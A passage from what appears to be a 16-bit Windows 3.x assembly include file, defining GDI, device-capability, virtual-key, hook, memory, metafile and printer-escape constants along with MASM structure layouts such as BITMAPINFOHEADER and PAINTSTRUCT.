LOGFONT ends
LOGBRUSH struc
lbStyle dw ?
lbColor dd ?
lbHatch dw ?
LOGBRUSH ends
;
; Text Drawing modes
;
TRANSPARENT = 1
OPAQUE = 2
;
; Mapping Modes
;
MM_TEXT = 1
MM_LOMETRIC = 2
MM_HIMETRIC = 3
MM_LOENGLISH = 4
MM_HIENGLISH = 5
MM_TWIPS = 6
MM_ISOTROPIC = 7
MM_ANISOTROPIC = 8
;
; Coordinate Modes
;
ABSOLUTE = 1
RELATIVE = 2
;
; Stock Logical Objects
;
WHITE_BRUSH = 0
LTGRAY_BRUSH = 1
GRAY_BRUSH = 2
DKGRAY_BRUSH = 3
BLACK_BRUSH = 4
NULL_BRUSH = 5
HOLLOW_BRUSH = 5
WHITE_PEN = 6
BLACK_PEN = 7
NULL_PEN = 8
DOT_MARKER = 9
OEM_FIXED_FONT = 10
ANSI_FIXED_FONT = 11
ANSI_VAR_FONT = 12
SYSTEM_FONT = 13
DEVICE_DEFAULT_FONT = 14
DEFAULT_PALETTE = 15
SYSTEM_FIXED_FONT = 16
ENDIF
;
; Brush Styles
;
BS_SOLID = 0
BS_NULL = 1
BS_HOLLOW = BS_NULL
BS_HATCHED = 2
BS_PATTERN = 3
BS_INDEXED = 4
BS_DIBPATTERN = 5
;
; Hatch Styles
;
HS_HORIZONTAL = 0 ; -----
HS_VERTICAL = 1 ; |||||
HS_FDIAGONAL = 2 ; \\\\\
HS_BDIAGONAL = 3 ; /////
HS_CROSS = 4 ; +++++
HS_DIAGCROSS = 5 ; xxxxx
;
; Pen Styles
;
PS_SOLID = 0
PS_DASH = 1 ; -------
PS_DOT = 2 ; .......
PS_DASHDOT = 3 ; _._._._
PS_DASHDOTDOT = 4 ; _.._.._
PS_NULL = 5
PS_INSIDEFRAME = 6
;
; Device Parameters for GetDeviceCaps()
;
DRIVERVERSION =0 ; Device driver version
TECHNOLOGY =2 ; Device classification
HORZSIZE =4 ; Horizontal size in millimeters
VERTSIZE =6 ; Vertical size in millimeters
HORZRES =8 ; Horizontal width in pixels
VERTRES =10 ; Vertical width in pixels
BITSPIXEL =12 ; Number of bits per pixel
PLANES =14 ; Number of planes
NUMBRUSHES =16 ; Number of brushes the device has
NUMPENS =18 ; Number of pens the device has
NUMMARKERS =20 ; Number of markers the device has
NUMFONTS =22 ; Number of fonts the device has
NUMCOLORS =24 ; Number of colors the device supports
PDEVICESIZE =26 ; Size required for device descriptor
CURVECAPS =28 ; Curve capabilities
LINECAPS =30 ; Line capabilities
POLYGONALCAPS =32 ; Polygonal capabilities
TEXTCAPS =34 ; Text capabilities
CLIPCAPS =36 ; Clipping capabilities
RASTERCAPS =38 ; Bitblt capabilities
ASPECTX =40 ; Length of the X leg
ASPECTY =42 ; Length of the Y leg
ASPECTXY =44 ; Length of the hypotenuse
LOGPIXELSX =88 ; Logical pixels/inch in X
LOGPIXELSY =90 ; Logical pixels/inch in Y
SIZEPALETTE =104 ; Number of entries in physical palette
NUMRESERVED =106 ; Number of reserved entries in palette
COLORRES =108 ; Actual color resolution
;
ifndef NOGDICAPMASKS
;
; Device Capability Masks:
;
; Device Technologies
DT_PLOTTER = 0 ; /* Vector plotter */
DT_RASDISPLAY = 1 ; /* Raster display */
DT_RASPRINTER = 2 ; /* Raster printer */
DT_RASCAMERA = 3 ; /* Raster camera */
DT_CHARSTREAM = 4 ; /* Character-stream, PLP */
DT_METAFILE = 5 ; /* Metafile, VDM */
DT_DISPFILE = 6 ; /* Display-file */
;
; Curve Capabilities
CC_NONE = 0 ; /* Curves not supported */
CC_CIRCLES = 1 ; /* Can do circles */
CC_PIE = 2 ; /* Can do pie wedges */
CC_CHORD = 4 ; /* Can do chord arcs */
CC_ELLIPSES = 8 ; /* Can do ellipese */
CC_WIDE = 16 ; /* Can do wide lines */
CC_STYLED = 32 ; /* Can do styled lines */
CC_WIDESTYLED = 64 ; /* Can do wide styled lines */
CC_INTERIORS = 128; /* Can do interiors */
;
; Line Capabilities
LC_NONE = 0 ; /* Lines not supported */
LC_POLYLINE = 2 ; /* Can do polylines */
LC_MARKER = 4 ; /* Can do markers */
LC_POLYMARKER = 8 ; /* Can do polymarkers */
LC_WIDE = 16 ; /* Can do wide lines */
LC_STYLED = 32 ; /* Can do styled lines */
LC_WIDESTYLED = 64 ; /* Can do wide styled lines */
LC_INTERIORS = 128; /* Can do interiors */
;
; Polygonal Capabilities
PC_NONE = 0 ; /* Polygonals not supported */
PC_POLYGON = 1 ; /* Can do polygons */
PC_RECTANGLE = 2 ; /* Can do rectangles */
PC_WINDPOLYGON = 4 ; /* Can do winding polygons */
PC_TRAPEZOID = 4 ; /* Can do trapezoids */
PC_SCANLINE = 8 ; /* Can do scanlines */
PC_WIDE = 16 ; /* Can do wide borders */
PC_STYLED = 32 ; /* Can do styled borders */
PC_WIDESTYLED = 64 ; /* Can do wide styled borders */
PC_INTERIORS = 128; /* Can do interiors */
;
; Polygonal Capabilities */
CP_NONE = 0 ; /* No clipping of output */
CP_RECTANGLE = 1 ; /* Output clipped to rects */
;
; Text Capabilities
TC_OP_CHARACTER = 0001h ; /* Can do OutputPrecision CHARACTER */
TC_OP_STROKE = 0002h ; /* Can do OutputPrecision STROKE */
TC_CP_STROKE = 0004h ; /* Can do ClipPrecision STROKE */
TC_CR_90 = 0008h ; /* Can do CharRotAbility 90 */
TC_CR_ANY = 0010h ; /* Can do CharRotAbility ANY */
TC_SF_X_YINDEP = 0020h ; /* Can do ScaleFreedom X_YINDEPENDENT */
TC_SA_DOUBLE = 0040h ; /* Can do ScaleAbility DOUBLE */
TC_SA_INTEGER = 0080h ; /* Can do ScaleAbility INTEGER */
TC_SA_CONTIN = 0100h ; /* Can do ScaleAbility CONTINUOUS */
TC_EA_DOUBLE = 0200h ; /* Can do EmboldenAbility DOUBLE */
TC_IA_ABLE = 0400h ; /* Can do ItalisizeAbility ABLE */
TC_UA_ABLE = 0800h ; /* Can do UnderlineAbility ABLE */
TC_SO_ABLE = 1000h ; /* Can do StrikeOutAbility ABLE */
TC_RA_ABLE = 2000h ; /* Can do RasterFontAble ABLE */
TC_VA_ABLE = 4000h ; /* Can do VectorFontAble ABLE */
TC_RESERVED = 8000h
;
; Raster Capabilities
RC_BITBLT = 1 ; /* Can do standard BLT. */
RC_BANDING = 2 ; /* Device requires banding support */
RC_SCALING = 4 ; /* Device requires scaling support */
RC_BITMAP64 = 8 ; /* Device can support >64K bitmap */
RC_GDI20_OUTPUT = 0010h ; /* has 2.0 output calls */
RC_DI_BITMAP = 0080h ; /* supports DIB to memory */
RC_PALETTE = 0100h ; /* supports a palette */
RC_DIBTODEV = 0200h ; /* supports DIBitsToDevice */
RC_BIGFONT = 0400h ; /* supports >64K fonts */
RC_STRETCHBLT = 0800h ; /* supports StretchBlt */
RC_FLOODFILL = 1000h ; /* supports FloodFill */
RC_STRETCHDIB = 2000h ; /* supports StretchDIBits */
endif ;NOGDICAPMASKS
; palette entry flags
;
PC_RESERVED = 1 ;/* palette index used for animation */
PC_EXPLICIT = 2 ;/* palette index is explicit to device */
PC_NOCOLLAPSE = 4 ;/* do not match color to system palette */
; DIB color table identifiers
;
DIB_RGB_COLORS = 0 ;/* color table in RGBTriples */
DIB_PAL_COLORS = 1 ;/* color table in palette indices */
;
;constants for Get/SetSystemPaletteUse()
;
SYSPAL_STATIC = 1
SYSPAL_NOSTATIC = 2
; constants for CreateDIBitmap
CBM_INIT = 4 ;/* initialize bitmap */
;
; Bitmap format constants
BI_RGB = 0
BI_RLE8 = 1
BI_RLE4 = 2
;
;
ANSI_CHARSET = 0
SYMBOL_CHARSET = 2
OEM_CHARSET = 255
;
; styles for CombineRgn
;
RGN_AND = 1
RGN_OR = 2
RGN_XOR = 3
RGN_DIFF = 4
RGN_COPY = 5
;
; Predefined cursor & icon IDs
;
IDC_ARROW = 32512
IDC_IBEAM = 32513
IDC_WAIT = 32514
IDC_CROSS = 32515
IDC_UPARROW = 32516
IDC_SIZE = 32640
IDC_ICON = 32641
IDC_SIZENWSE = 32642
IDC_SIZENESW = 32643
IDC_SIZEWE = 32644
IDC_SIZENS = 32645
IDI_APPLICATION = 32512
IDI_HAND = 32513
IDI_QUESTION = 32514
IDI_EXCLAMATION = 32515
IDI_ASTERISK = 32516
;
; OEM Resource Ordinal Numbers */
;
OBM_CLOSE = 32754
OBM_UPARROW = 32753
OBM_DNARROW = 32752
OBM_RGARROW = 32751
OBM_LFARROW = 32750
OBM_REDUCE = 32749
OBM_ZOOM = 32748
OBM_RESTORE = 32747
OBM_REDUCED = 32746
OBM_ZOOMD = 32745
OBM_RESTORED = 32744
OBM_UPARROWD = 32743
OBM_DNARROWD = 32742
OBM_RGARROWD = 32741
OBM_LFARROWD = 32740
OBM_MNARROW = 32739
OBM_COMBO = 32738
OBM_UPARROWI = 32737
OBM_DNARROWI = 32736
OBM_RGARROWI = 32735
OBM_LFARROWI = 32734
OBM_OLD_CLOSE = 32767
OBM_SIZE = 32766
OBM_OLD_UPARROW = 32765
OBM_OLD_DNARROW = 32764
OBM_OLD_RGARROW = 32763
OBM_OLD_LFARROW = 32762
OBM_BTSIZE = 32761
OBM_CHECK = 32760
OBM_CHECKBOXES = 32759
OBM_BTNCORNERS = 32758
OBM_OLD_REDUCE = 32757
OBM_OLD_ZOOM = 32756
OBM_OLD_RESTORE = 32755
OCR_NORMAL = 32512
OCR_IBEAM = 32513
OCR_WAIT = 32514
OCR_CROSS = 32515
OCR_UP = 32516
OCR_SIZE = 32640
OCR_ICON = 32641
OCR_SIZENWSE = 32642
OCR_SIZENESW = 32643
OCR_SIZEWE = 32644
OCR_SIZENS = 32645
OCR_SIZEALL = 32646
OCR_ICOCUR = 32647
OIC_SAMPLE = 32512
OIC_HAND = 32513
OIC_QUES = 32514
OIC_BANG = 32515
OIC_NOTE = 32516
;
; Scroll bar constants
;
SB_HORZ = 0
SB_VERT = 1
SB_CTL = 2
SB_BOTH = 3
;
; Scroll Commands
;
SB_LINEUP = 0
SB_LINEDOWN = 1
SB_PAGEUP = 2
SB_PAGEDOWN = 3
SB_THUMBPOSITION = 4
SB_THUMBTRACK = 5
SB_TOP = 6
SB_BOTTOM = 7
SB_ENDSCROLL = 8
;
; MessageBox type flags
;
IFNDEF NOMB
MB_OK = 0000H
MB_OKCANCEL = 0001H
MB_ABORTRETRYIGNORE = 0002H
MB_YESNOCANCEL = 0003H
MB_YESNO = 0004H
MB_RETRYCANCEL = 0005H
MB_ICONHAND = 0010H
MB_ICONQUESTION = 0020H
MB_ICONEXCLAMATION = 0030H
MB_ICONASTERISK = 0040H
MB_DEFBUTTON1 = 0000H
MB_DEFBUTTON2 = 0100H
MB_DEFBUTTON3 = 0200H
MB_APPLMODAL = 0000H
MB_SYSTEMMODAL = 1000H
MB_TASKMODAL = 2000H
MB_NOFOCUS = 8000H
;
; Conventional dialog box and message box command IDs
;
IDOK = 1
IDCANCEL = 2
IDABORT = 3
IDRETRY = 4
IDIGNORE = 5
IDYES = 6
IDNO = 7
;
; Flags for OpenFile
;
OF_READ = 0000H
OF_WRITE = 0001H
OF_READWRITE = 0002H
OF_SHARE_COMPAT = 0000H
OF_SHARE_EXCLUSIVE = 0010H
OF_SHARE_DENY_WRITE = 0020H
OF_SHARE_DENY_READ = 0030H
OF_SHARE_DENY_NONE = 0040H
OF_PARSE = 0100H
OF_DELETE = 0200H
OF_VERIFY = 0400H ; Used with OF_REOPEN
OF_SEARCH = 0400H ; Used without OF_REOPEN
OF_CANCEL = 0800H
OF_CREATE = 1000H
OF_PROMPT = 2000H
OF_EXIST = 4000H
OF_REOPEN = 8000H
TF_FORCEDRIVE = 80H
OPENSTRUC STRUC
opLen db ?
opDisk db ?
opXtra dw ?
opDate dw ?
opTime dw ?
opFile db 120 dup (?)
OPENSTRUC ENDS
;
; DrawText format flags
;
DT_LEFT = 00H
DT_CENTER = 01H
DT_RIGHT = 02H
DT_TOP = 00H
DT_VCENTER = 04H
DT_BOTTOM = 08H
DT_WORDBREAK = 10H
DT_SINGLELINE = 20H
DT_EXPANDTABS = 40H
DT_TABSTOP = 80H
DT_NOCLIP = 0100H
DT_EXTERNALLEADING = 0200H
DT_CALCRECT = 0400H
DT_NOPREFIX = 0800H
DT_INTERNAL = 1000H
ENDIF
;
; ExtFloodFill style flags
;
FLOODFILLBORDER = 0
FLOODFILLSURFACE = 1
;
; Memory manager flags
;
LMEM_FIXED = 0000h
LMEM_MOVEABLE = 0002h
LMEM_NOCOMPACT = 0010H
LMEM_NODISCARD = 0020H
LMEM_ZEROINIT = 0040h
LMEM_MODIFY = 0080H
LMEM_DISCARDABLE= 0F00h
LHND = LMEM_MOVEABLE+LMEM_ZEROINIT
LPTR = LMEM_FIXED+LMEM_ZEROINIT
; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)
LMEM_DISCARDED = 4000H
LMEM_LOCKCOUNT = 00FFH
NONZEROLHND = LMEM_MOVEABLE
NONZEROLPTR = LMEM_FIXED
GMEM_FIXED = 0000h
GMEM_MOVEABLE = 0002h
GMEM_NOCOMPACT = 0010h
GMEM_NODISCARD = 0020h
GMEM_ZEROINIT = 0040h
GMEM_MODIFY = 0080h
GMEM_DISCARDABLE= 0100h
GMEM_NOT_BANKED = 1000h
GMEM_DDESHARE = 2000h
GMEM_SHARE = 2000h
GMEM_NOTIFY = 4000h
GMEM_LOWER = GMEM_NOT_BANKED
GHND = GMEM_MOVEABLE+GMEM_ZEROINIT
GPTR = GMEM_FIXED+GMEM_ZEROINIT
; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)
GMEM_DISCARDED = 4000h
GMEM_LOCKCOUNT = 00FFh
; Flags returned by GetWinFlags
WF_PMODE = 0001h
WF_CPU286 = 0002h
WF_CPU386 = 0004h
WF_CPU486 = 0008h
WF_STANDARD = 0010h
WF_WIN286 = 0010h
WF_ENHANCED = 0020h
WF_WIN386 = 0020h
WF_CPU086 = 0040h
WF_CPU186 = 0080h
WF_LARGEFRAME = 0100h
WF_SMALLFRAME = 0200h
WF_80x87 = 0400h
WF_PAGING = 0800h
WF_WLO = 8000h
; WEP fSystemExit flag values
WEP_SYSTEM_EXIT = 1
WEP_FREE_DLL = 0
; Virtual Keys, Standard Set
IFNDEF NOVK
VK_LBUTTON = 01H
VK_RBUTTON = 02H
VK_CANCEL = 03H
VK_BACK = 08H
VK_TAB = 09H
VK_CLEAR = 0cH
VK_RETURN = 0dH
VK_SHIFT = 10H
VK_CONTROL = 11H
VK_MENU = 12H
VK_PAUSE = 13H
VK_CAPITAL = 14H
VK_ESCAPE = 1bH
VK_SPACE = 20H
VK_PRIOR = 21H
VK_NEXT = 22H
VK_END = 23H
VK_HOME = 24H
VK_LEFT = 25H
VK_UP = 26H
VK_RIGHT = 27H
VK_DOWN = 28H
; VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'
; VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'
VK_PRINT = 2aH
VK_EXECUTE = 2bH
VK_SNAPSHOT = 2ch ; Printscreen key..
VK_INSERT = 2dH
VK_DELETE = 2eH
VK_HELP = 2fH
VK_NUMPAD0 = 60H
VK_NUMPAD1 = 61H
VK_NUMPAD2 = 62H
VK_NUMPAD3 = 63H
VK_NUMPAD4 = 64H
VK_NUMPAD5 = 65H
VK_NUMPAD6 = 66H
VK_NUMPAD7 = 67H
VK_NUMPAD8 = 68H
VK_NUMPAD9 = 69H
VK_MULTIPLY = 6AH
VK_ADD = 6BH
VK_SEPARATER = 6CH
VK_SUBTRACT = 6DH
VK_DECIMAL = 6EH
VK_DIVIDE = 6FH
VK_F1 = 70H
VK_F2 = 71H
VK_F3 = 72H
VK_F4 = 73H
VK_F5 = 74H
VK_F6 = 75H
VK_F7 = 76H
VK_F8 = 77H
VK_F9 = 78H
VK_F10 = 79H
VK_F11 = 7aH
VK_F12 = 7bH
VK_F13 = 7cH
VK_F14 = 7dH
VK_F15 = 7eH
VK_F16 = 7fH
VK_F17 = 80H
VK_F18 = 81H
VK_F19 = 82H
VK_F20 = 83H
VK_F21 = 84H
VK_F22 = 85H
VK_F23 = 86H
VK_F24 = 87H
VK_NUMLOCK = 90H
VK_SCROLL = 91H
ENDIF
IFNDEF NOWH
; SetWindowsHook() codes
WH_MSGFILTER = (-1)
WH_JOURNALRECORD = 0
WH_JOURNALPLAYBACK = 1
WH_KEYBOARD = 2
WH_GETMESSAGE = 3
WH_CALLWNDPROC = 4
IFNDEF NOWIN31
WH_CBT = 5
WH_SYSMSGFILTER = 6
WH_MOUSE = 7
WH_HARDWARE = 8
WH_DEBUG = 9
ENDIF
;
; Hook Codes
HC_GETLPLPFN = (-3)
HC_LPLPFNNEXT = (-2)
HC_LPFNNEXT = (-1)
HC_ACTION = 0
HC_GETNEXT = 1
HC_SKIP = 2
HC_NOREM = 3
HC_NOREMOVE = 3
HC_SYSMODALON = 4
HC_SYSMODALOFF = 5
;
; CBT Hook Codes
HCBT_MOVESIZE = 0
HCBT_MINMAX = 1
HCBT_QS = 2
HCBT_CREATEWND = 3
HCBT_DESTROYWND = 4
HCBT_ACTIVATE = 5
HCBT_CLICKSKIPPED = 6
HCBT_KEYSKIPPED = 7
HCBT_SYSCOMMAND = 8
HCBT_SETFOCUS = 9
;
; WH_MSGFILTER Filter Proc Codes
MSGF_DIALOGBOX = 0
MSGF_MENU = 2
MSGF_MOVE = 3
MSGF_SIZE = 4
MSGF_SCROLLBAR = 5
MSGF_NEXTWINDOW = 6
;
; Window Manager Hook Codes
WC_INIT = 1
WC_SWP = 2
WC_DEFWINDOWPROC = 3
WC_MINMAX = 4
WC_MOVE = 5
WC_SIZE = 6
WC_DRAWCAPTION = 7
;
; Message Structure used in Journaling
EVENTMSG struc
message dw ?
paramL dw ?
paramH dw ?
time dd ?
EVENTMSG ends
ENDIF ;NOWH
; Window field offsets for GetWindowLong() and GetWindowWord()
GWL_WNDPROC = (-4)
GWW_HINSTANCE = (-6)
GWW_HWNDPARENT = (-8)
GWW_ID = (-12)
GWL_STYLE = (-16)
GWL_EXSTYLE = (-20)
; GetWindow() Constants
GW_HWNDFIRST = 0
GW_HWNDLAST = 1
GW_HWNDNEXT = 2
GW_HWNDPREV = 3
GW_OWNER = 4
GW_CHILD = 5
; Class field offsets for GetClassLong() and GetClassWord()
GCL_MENUNAME = (-8)
GCW_HBRBACKGROUND = (-10)
GCW_HCURSOR = (-12)
GCW_HICON = (-14)
GCW_HMODULE = (-16)
GCW_CBWNDEXTRA = (-18)
GCW_CBCLSEXTRA = (-20)
GCL_WNDPROC = (-24)
GCW_STYLE = (-26)
; WinWhere() Area Codes
HTERROR = (-2)
HTTRANSPARENT = (-1)
HTNOWHERE = 0
HTCLIENT = 1
HTCAPTION = 2
HTSYSMENU = 3
HTGROWBOX = 4
HTSIZE = HTGROWBOX
HTMENU = 5
HTHSCROLL = 6
HTVSCROLL = 7
HTREDUCE = 8
HTZOOM = 9
HTLEFT = 10
HTRIGHT = 11
HTTOP = 12
HTTOPLEFT = 13
HTTOPRIGHT = 14
HTBOTTOM = 15
HTBOTTOMLEFT = 16
HTBOTTOMRIGHT = 17
HTSIZEFIRST = HTLEFT
HTSIZELAST = HTBOTTOMRIGHT
;*************************************************************************
;
; Misc structures & constants
;
;*************************************************************************
IFNDEF NOMST
POINT struc
ptX dw ?
ptY dw ?
POINT ends
LOGPEN struc
lopnStyle dw ?
lopnWidth db (SIZE POINT) DUP(?)
lopnColor dd ?
LOGPEN ends
BITMAP STRUC
bmType DW ?
bmWidth DW ?
bmHeight DW ?
bmWidthBytes DW ?
bmPlanes DB ?
bmBitsPixel DB ?
bmBits DD ?
BITMAP ENDS
RGBTRIPLE struc
rgbBlue db ?
rgbGreen db ?
rgbRed db ?
RGBTRIPLE ends
RGBQUAD struc
rgbqBlue db ?
rgbqGreen db ?
rgbqRed db ?
rgbqReserved db ?
RGBQUAD ends
; structures for defining DIBs
BITMAPCOREHEADER struc
bcSize dd ?
bcWidth dw ?
bcHeight dw ?
bcPlanes dw ?
bcBitCount dw ?
BITMAPCOREHEADER ends
BITMAPINFOHEADER struc
biSize dd ?
biWidth dd ?
biHeight dd ?
biPlanes dw ?
biBitCount dw ?
biCompression dd ?
biSizeImage dd ?
biXPelsPerMeter dd ?
biYPelsPerMeter dd ?
biClrUsed dd ?
biClrImportant dd ?
BITMAPINFOHEADER ends
BITMAPINFO struc
bmiHeader db (SIZE BITMAPINFOHEADER) DUP (?)
bmiColors db ? ; array of RGBQUADs
BITMAPINFO ends
BITMAPCOREINFO struc
bmciHeader db (SIZE BITMAPCOREHEADER) DUP (?)
bmciColors db ? ; array of RGBTRIPLEs
BITMAPCOREINFO ends
BITMAPFILEHEADER struc
bfType dw ?
bfSize dd ?
bfReserved1 dw ?
bfReserved2 dw ?
bfOffBits dd ?
BITMAPFILEHEADER ends
WNDSTRUC struc
WSwndStyle dd ?
WSwndID dw ?
WSwndText dw ?
WSwndParent dw ?
WSwndInstance dw ?
WSwndClassProc dd ?
WNDSTRUC ends
;
; Message structure
;
MSGSTRUCT struc
msHWND dw ?
msMESSAGE dw ?
msWPARAM dw ?
msLPARAM dd ?
msTIME dd ?
msPT dd ?
MSGSTRUCT ends
NEWPARMS struc
nprmHwnd dw ?
nprmCmd db ?
NEWPARMS ends
ENDIF
PAINTSTRUCT STRUC
PShdc DW ?
PSfErase DW ?
PSrcPaint DB size RECT dup(?)
PSfRestore DW ?
PSfIncUpdate DW ?
PSrgbReserved DB 16 dup(?)
PAINTSTRUCT ENDS
CREATESTRUCT struc
cs_lpCreateParams dd ?
cs_hInstance dw ?
cs_hMenu dw ?
cs_hwndParent dw ?
cs_cy dw ?
cs_cx dw ?
cs_y dw ?
cs_x dw ?
cs_style dd ?
cs_lpszName dd ?
cs_lpszClass dd ?
cs_dwExStyle dd ?
CREATESTRUCT ends
;
; PostError constants
;
WARNING = 0 ; command codes
MINOR_ERROR = 1
FATAL_ERROR = 2
IGNORE = 0 ; response codes
RETRY = 1
ABORT = 2
;
; GDI-related constants & commands
;
ERRORREGION = 0
NULLREGION = 1
SIMPLEREGION = 2
COMPLEXREGION = 3
IFNDEF NORASTOPS
;
; Binary raster ops
;
R2_BLACK = 1
R2_NOTMERGEPEN = 2
R2_MASKNOTPEN = 3
R2_NOTCOPYPEN = 4
R2_MASKPENNOT = 5
R2_NOT = 6
R2_XORPEN = 7
R2_NOTMASKPEN = 8
R2_MASKPEN = 9
R2_NOTXORPEN = 10
R2_NOP = 11
R2_MERGENOTPEN = 12
R2_COPYPEN = 13
R2_MERGEPENNOT = 14
R2_MERGEPEN = 15
R2_WHITE = 16
;
; Ternary raster ops
;
SRCCOPY_L = 0020h ;dest=source
SRCCOPY_H = 00CCh
SRCPAINT_L = 0086h ;dest=source OR dest
SRCPAINT_H = 00EEh
SRCAND_L = 00C6h ;dest=source AND dest
SRCAND_H = 0088h
SRCINVERT_L = 0046h ;dest= source XOR dest
SRCINVERT_H = 0066h
SRCERASE_L = 0328h ;dest= source AND (not dest )
SRCERASE_H = 0044h
NOTSRCCOPY_L = 0008h ;dest= (not source)
NOTSRCCOPY_H = 0033h
NOTSRCERASE_L = 00A6h ;dest= (not source) AND (not dest)
NOTSRCERASE_H = 0011h
MERGECOPY_L = 00CAh ;dest= (source AND pattern)
MERGECOPY_H = 00C0h
MERGEPAINT_L = 0226h ;dest= (source AND pattern) OR dest
MERGEPAINT_H = 00BBh
PATCOPY_L = 0021h ;dest= pattern
PATCOPY_H = 00F0h
PATPAINT_L = 0A09h ;DPSnoo
PATPAINT_H = 00FBh
PATINVERT_L = 0049h ;dest= pattern XOR dest
PATINVERT_H = 005Ah
DSTINVERT_L = 0009h ;dest= (not dest)
DSTINVERT_H = 0055h
BLACKNESS_L = 0042h ;dest= BLACK
BLACKNESS_H = 0000h
WHITENESS_L = 0062h ;dest= WHITE
WHITENESS_H = 00FFh
;
; StretchBlt modes
;
BLACKONWHITE = 1
WHITEONBLACK = 2
COLORONCOLOR = 3
;
; New StretchBlt modes
;
STRETCH_ANDSCANS = 1
STRETCH_ORSCANS = 2
STRETCH_DELETESCANS = 3
;
; PolyFill modes
;
ALTERNATE = 1
WINDING = 2
ENDIF
;
; Text Alignment Options
;
TA_NOUPDATECP = 0
TA_UPDATECP = 1
TA_LEFT = 0
TA_RIGHT = 2
TA_CENTER = 6
TA_TOP = 0
TA_BOTTOM = 8
TA_BASELINE = 24
ETO_GRAYED = 1
ETO_OPAQUE = 2
ETO_CLIPPED = 4
ASPECT_FILTERING = 1
ifndef NOMETAFILE
; Metafile Functions */
META_SETBKCOLOR = 0201h
META_SETBKMODE = 0102h
META_SETMAPMODE = 0103h
META_SETROP2 = 0104h
META_SETRELABS = 0105h
META_SETPOLYFILLMODE = 0106h
META_SETSTRETCHBLTMODE = 0107h
META_SETTEXTCHAREXTRA = 0108h
META_SETTEXTCOLOR = 0209h
META_SETTEXTJUSTIFICATION = 020Ah
META_SETWINDOWORG = 020Bh
META_SETWINDOWEXT = 020Ch
META_SETVIEWPORTORG = 020Dh
META_SETVIEWPORTEXT = 020Eh
META_OFFSETWINDOWORG = 020Fh
META_SCALEWINDOWEXT = 0400h
META_OFFSETVIEWPORTORG = 0211h
META_SCALEVIEWPORTEXT = 0412h
META_LINETO = 0213h
META_MOVETO = 0214h
META_EXCLUDECLIPRECT = 0415h
META_INTERSECTCLIPRECT = 0416h
META_ARC = 0817h
META_ELLIPSE = 0418h
META_FLOODFILL = 0419h
META_PIE = 081Ah
META_RECTANGLE = 041Bh
META_ROUNDRECT = 061Ch
META_PATBLT = 061Dh
META_SAVEDC = 001Eh
META_SETPIXEL = 041Fh
META_OFFSETCLIPRGN = 0220h
META_TEXTOUT = 0521h
META_BITBLT = 0922h
META_STRETCHBLT = 0B23h
META_POLYGON = 0324h
META_POLYLINE = 0325h
META_ESCAPE = 0626h
META_RESTOREDC = 0127h
META_FILLREGION = 0228h
META_FRAMEREGION = 0429h
META_INVERTREGION = 012Ah
META_PAINTREGION = 012Bh
META_SELECTCLIPREGION = 012Ch
META_SELECTOBJECT = 012Dh
META_SETTEXTALIGN = 012Eh
META_DRAWTEXT = 062Fh
META_CHORD = 0830h
META_SETMAPPERFLAGS = 0231h
META_EXTTEXTOUT = 0a32h
META_SETDIBTODEV = 0d33h
META_SELECTPALETTE = 0234h
META_REALIZEPALETTE = 0035h
META_ANIMATEPALETTE = 0436h
META_SETPALENTRIES = 0037h
META_POLYPOLYGON = 0538h
META_RESIZEPALETTE = 0139h
META_DIBBITBLT = 0940h
META_DIBSTRETCHBLT = 0b41h
META_DIBCREATEPATTERNBRUSH = 0142h
META_STRETCHDIB = 0f43h
META_DELETEOBJECT = 01f0h
META_CREATEPALETTE = 00f7h
META_CREATEBRUSH = 00F8h
META_CREATEPATTERNBRUSH = 01F9h
META_CREATEPENINDIRECT = 02FAh
META_CREATEFONTINDIRECT = 02FBh
META_CREATEBRUSHINDIRECT = 02FCh
META_CREATEBITMAPINDIRECT = 02FDh
META_CREATEBITMAP = 06FEh
META_CREATEREGION = 06FFh
; /* Clipboard Metafile Picture Structure */
HANDLETABLE struc
ht_objectHandle dw ?
HANDLETABLE ends
METARECORD struc
mr_rdSize dd ?
mr_rdFunction dw ?
mr_rdParm dw ?
METARECORD ends
METAFILEPICT struc
mfp_mm dw ?
mfp_xExt dw ?
mfp_yExt dw ?
mfp_hMF dw ?
METAFILEPICT ends
METAHEADER struc
mtType dw ?
mtHeaderSize dw ?
mtVersion dw ?
mtSize dd ?
mtNoObjects dw ?
mtMaxRecord dd ?
mtNoParameters dw ?
METAHEADER ends
endif ; NOMETAFILE
; GDI Escapes
NEWFRAME = 1
ABORTDOC = 2
NEXTBAND = 3
SETCOLORTABLE = 4
GETCOLORTABLE = 5
FLUSHOUTPUT = 6
DRAFTMODE = 7
QUERYESCSUPPORT = 8
SETABORTPROC = 9
STARTDOC = 10
;; This value conflicts with a std WIN386 MACRO definition
;;ENDDOC = 11
GETPHYSPAGESIZE = 12
GETPRINTINGOFFSET = 13
GETSCALINGFACTOR = 14
MFCOMMENT = 15
GETPENWIDTH = 16
SETCOPYCOUNT = 17
SELECTPAPERSOURCE = 18
DEVICEDATA = 19
PASSTHROUGH = 19
GETTECHNOLGY = 20
GETTECHNOLOGY = 20
SETENDCAP = 21
SETLINEJOIN = 22
SETMITERLIMIT = 23
BANDINFO = 24
DRAWPATTERNRECT = 25
GETVECTORPENSIZE = 26
GETVECTORBRUSHSIZE = 27
ENABLEDUPLEX = 28
ENABLEMANUALFEED = 29
GETSETPAPERBINS = 29
GETSETPRINTORIENT = 30
ENUMPAPERBINS = 31
GETEXTENDEDTEXTMETRICS = 256
GETEXTENTTABLE = 257
GETPAIRKERNTABLE = 258
GETTRACKKERNTABLE = 259
EXTTEXTOUT = 512
ENABLERELATIVEWIDTHS = 768
ENABLEPAIRKERNING = 769
SETKERNTRACK = 770
SETALLJUSTVALUES = 771
SETCHARSET = 772
GETSETSCREENPARAMS = 3072
STRETCHBLT = 2048
; Spooler Error Codes
SP_NOTREPORTED = 4000h
SP_ERROR = (-1)
SP_APPABORT = (-2)
SP_USERABORT = (-3)
SP_OUTOFDISK = (-4)
SP_OUTOFMEMORY = (-5)
PR_JOBSTATUS = 0000
; Object Definitions for EnumObjects()
OBJ_PEN = 1
OBJ_BRUSH = 2
;
; Menu flags for Change/Check/Enable MenuItem
;
MF_INSERT = 0000h
MF_CHANGE = 0080h
MF_APPEND = 0100h
MF_DELETE = 0200h
MF_REMOVE = 1000h
MF_BYCOMMAND = 0000h
MF_BYPOSITION = 0400h
MF_SEPARATOR = 0800h
MF_ENABLED = 0000h
MF_GRAYED = 0001h
MF_DISABLED = 0002h
MF_UNCHECKED = 0000h
